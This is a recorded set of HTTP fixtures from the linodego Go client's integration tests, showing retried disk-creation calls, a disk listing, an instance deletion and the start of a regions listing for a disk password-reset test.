X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"go-disk-test-0qn8s69g7e6i","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:51:47 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"go-disk-test-0qn8s69g7e6i","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:51:58 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"go-disk-test-0qn8s69g7e6i","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:52:20 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"go-disk-test-0qn8s69g7e6i","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/disks method: POST response: body: '{"id": 120070809, "status": "not ready", "label": "go-disk-test-0qn8s69g7e6i", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "182" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:52:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/disks?page=1 method: GET response: body: '{"data": [{"id": 120070777, "status": "ready", "label": "go-disk-test-9ed545wnkr60", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}, {"id": 120070809, "status": "not ready", "label": "go-disk-test-0qn8s69g7e6i", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "411" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:52:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:52:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Disk_ResetPassword.yaml000066400000000000000000001272771474652371000337330ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": 